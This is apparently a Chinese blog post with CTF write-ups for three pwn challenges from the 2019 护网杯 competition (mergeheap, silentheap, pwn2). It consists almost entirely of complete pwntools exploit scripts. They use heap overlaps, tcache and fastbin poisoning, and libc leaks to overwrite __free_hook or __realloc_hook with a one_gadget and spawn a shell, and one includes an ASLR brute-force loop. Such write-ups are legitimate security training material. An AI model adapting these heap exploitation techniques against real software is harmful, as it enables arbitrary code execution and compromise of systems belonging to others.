CTF-PWN

2019护网杯_pwn

2019-09-24  本文已影响0人  2mpossible

题目地址:https://github.com/hacker-mao/ctf_repo/tree/master/%E6%8A%A4%E7%BD%91%E6%9D%AF2019/pwn

一共4道题,比赛时间太短,赛后花了一天时间弄出3道,继续

mergeheap

#填满tcache
for i in range(7):
    add(0x80,str(i))

for i in range(7):
    dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3
dele(0)
merge(1,2) #0
dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8 
one_gadget = libc_base + 0x4f322
#清空unsorted bin
add(0x40,'1')

add(0x68,'aa')  #5
add(0x28,'b'*0x38)  #6
add(0x40,'d'*0x3f+'\x81')  #7
add(0x60,'c') #8
dele(5)
merge(6,7) #5
#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
dele(0)

完整exp:

#coding:utf-8
from pwn import *
context.log_level = 'debug'

p = process('./mergeheap')
#p = remote('49.232.101.96',51582)

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)

def add(size,content):
    ru('>>')
    sl('1')
    ru('len:')
    sl(str(size))
    ru('content:')
    sl(content)

def show(idx):
    ru('>>')
    sl('2')
    ru('idx:')
    sl(str(idx))

def dele(idx):
    ru('>>')
    sl('3')
    ru('idx:')
    sl(str(idx))


def merge(idx_1,idx_2):
    ru('>>')
    sl('4')
    ru('idx1:')
    sl(str(idx_1))
    ru('idx2:')
    sl(str(idx_2))

#填满tcache
for i in range(7):
    add(0x80,str(i))

for i in range(7):
    dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3

#----------------------------------

dele(0)
merge(1,2) #0

#----------------------------------

dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8 
one_gadget = libc_base + 0x4f322

#----------------------------------

#清空unsorted bin
add(0x40,'1')

add(0x68,'aa')  #5
add(0x28,'b'*0x38)  #6
add(0x40,'d'*0x3f+'\x81')  #7
add(0x60,'c') #8

#----------------------------------

dele(5)
merge(6,7) #5

#----------------------------------
#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
#trigger one_gadget
dele(0)

#----------------------------------
#gdb.attach(p)


p.interactive()

silentheap

#开了alsr运行了几次的one_gadget地址
0xf75a6c69
0xf754dc69
0xf7570c69
0xf7583c69

exp:

#coding:utf-8
from pwn import *
context.log_level = 'debug'




def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)


def new():
    sl('1')

def new_1():
    sl('2')

def zhixinghanshu(index,cont1,cont2):
    sl('3')
    sl(str(index))
    sl(cont1)
    sl(cont2)

def dele(index):
    sl('4')
    sl(str(index))

def edit(choice,cont):
    sl('5')
    sl(str(choice))
    sl(cont)


def pwn_it():

    for i in range(9):
        new()

    one_gadget = 0xf75a9c5c
    #one_gadget = 0xf7e3fc5c
    #fake chunk -> *(ptr[index]+0x55*4)
    pay = 'a'*(0x54*4) + p32(one_gadget)
    edit(2,pay)
    new_1()
    dele(9)

    #gdb.attach(p)
    zhixinghanshu(9,'1','2')
    #0xf75a6c69
    #0xf754dc69
    #0xf7570c69
    #0xf7583c69
    
    p.sendline('ls')
    p.sendline('ls')
    data = p.recv()
    if (data):
        p.interactive()


if __name__ == '__main__':
    
    while True:
        try:
            p = process('./silentheap')
            pwn_it()
        except Exception as e:
            p.close()
        finally:
            p.close()

pwn2

add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(8)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块, 防止和 top chunk 合并
add_flo(0x30,5,'e') 
for i in range(1,5):
    remove_flo(i)

triger_consolidate()

remove_flo(0)
add_flo(0x58,0,'a'*0x58)

add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')
remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()
#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base  : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']
remove_flo(3)
remove_flo(4)

for i in range(2):
    add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)
add_flo(0x30,2,'2') #消除0x40 fastbin
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))
for i in range(3):
    add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)

ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')    
ru('index: ')
sl('0')

完整exp

#coding:utf-8
from pwn import *
context.log_level = 'debug'


p = process('./pwn 2')

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)


def add_flo(size,index,name):
    ru('choice >> \n')
    sl('1')
    ru('of Size : ')
    sl(str(size))
    ru('index: ')
    sl(str(index))
    ru(' name:')
    se(name)

def remove_flo(index):
    ru('choice >> \n')
    sl('2')
    ru('input idx :')
    sl(str(index))

def show_flo(index):
    ru('choice >> \n')
    sl('3')
    ru('Input idx : \n')
    sl(str(index))

def triger_consolidate():
    ru('choice >> \n')
    sl('1'*0x400)


add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(0)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块, 防止和 top chunk 合并
add_flo(0x30,5,'e') 

#----------------------------

for i in range(1,5):
    remove_flo(i)

triger_consolidate()

#----------------------------

remove_flo(0)
add_flo(0x58,0,'a'*0x58)

#----------------------------

add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')

#----------------------------

remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()

#----------------------------

#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base  : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']

#----------------------------

remove_flo(3)
remove_flo(4)

for i in range(2):
    add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)

#----------------------------

add_flo(0x30,2,'2') #消除0x40 fastbin
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))

#----------------------------

for i in range(3):
    add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)


#----------------------------

#gdb.attach(p)
#trigger one_gadget
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')    
ru('index: ')
sl('0')



p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读